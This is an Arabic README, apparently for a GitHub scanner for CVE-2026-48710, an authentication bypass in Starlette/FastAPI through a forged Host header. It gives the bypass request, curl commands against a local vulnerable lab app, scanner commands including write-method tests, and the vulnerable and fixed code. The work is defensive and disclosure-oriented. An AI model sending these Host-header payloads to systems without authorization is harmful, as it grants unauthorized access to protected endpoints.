
ماسح ضوئي للكشف عن CVE-2026-48710 - تجاوز المصادقة عبر عنوان المضيف في Starlette/FastAPI
ماسح للتحقق من ثغرة تجاوز المصادقة BadHost في Starlette / FastAPI — حيث يقرأ middleware المصادقة request.url.path بدلاً من request.scope["path"]، مما يتيح تزوير رأس Host لتهريب مسار مسموح به وتجاوز المصادقة.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette ترى request.url.path == "/health" → مسموح
# ASGI لا يزال يوجّه إلى /admin → تم التجاوز
المتأثر: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
تم الإصلاح في: Starlette 0.46.2+
https://host/path) — يُستخرج المسار تلقائياً كفحصHost و X-Forwarded-Host، واستراتيجيتين للحمولة--preset ai) و MCP (--preset mcp)--json، --csvbadhost_vuln_lab/)يحتوي على تطبيقين FastAPI للتحقق المحلي:
| التطبيق | الرابط | المصادقة تقرأ |
|---|---|---|
| الثغري | http://127.0.0.1:8000 | request.url.path — تم التجاوز |
| المُصلَح | http://127.0.0.1:8001 | request.scope["path"] — آمن |
cd badhost_vuln_lab
docker compose up --build
أو بدون Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — تم التجاوز
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — آمن
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+، لا حاجة لتثبيت pip
# رابط كامل واحد — يُستخرج المسار تلقائياً، لا حاجة لخيارات إضافية
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# روابط كاملة متعددة
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# إضافة مسارات إضافية فوق رابط كامل
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# فحص للقراءة فقط من ملف openapi.json محلي
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# تضمين طرق الكتابة (للاختبار المرخص/المرحلي فقط)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# جلب OpenAPI مباشرة من الهدف
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# أهداف متعددة، إخراج CSV
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# مسارات AI/LLM + MCP مسبقة (لا حاجة لـ OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidيرسل{}لطرق الكتابة — يؤدي إلى خطأ FastAPI422بعد تجاوز المصادقة دون تنفيذ النقطة النهائية. النتيجةbaseline=403 test=422لا تزال نتيجة مشتبه بها تستحق الفحص.
لا تستخدم--openapi-body-mode minimalفي الإنتاج — فهو يبني نصوص طلب صالحة قد تنفذ نقاط نهاية الكتابة.
| الحكم | المعنى |
|---|---|
CONFIRMED | الأساسي 401/403 → الاختبار 2xx. ثغرة مؤكدة. |
SUSPECT | الأساسي 401/403 → الاختبار 404/405/422. يبدو أن بوابة المصادقة قد تم تجاوزها؛ تحقق يدوياً. خطأ 422 من FastAPI مهم بشكل خاص. |
REJECTED | الوكيل رفض المضيف المشوه (400/421) قبل التجاوز |
BLOCKED | الطلب المُعدّ لا يزال مرفوضاً |
OPEN | يمكن الوصول إليه بدون مصادقة بالفعل — ليس هذه الثغرة |
فقط CONFIRMED و SUSPEST يظهران في الإخراج. رمز الخروج 2 = مؤكد، 1 = مشتبه به، 0 = نظيف.
# الثغري
if request.url.path.startswith("/public"):
...
# المُصلَح
if request.scope["path"].startswith("/public"):
...
قم بالترقية إلى Starlette 0.46.2+ / FastAPI 0.116.0+.
للاختبار المصرح به فقط. امسح الأنظمة التي تملكها فقط أو التي لديك إذن صريح لاختبارها.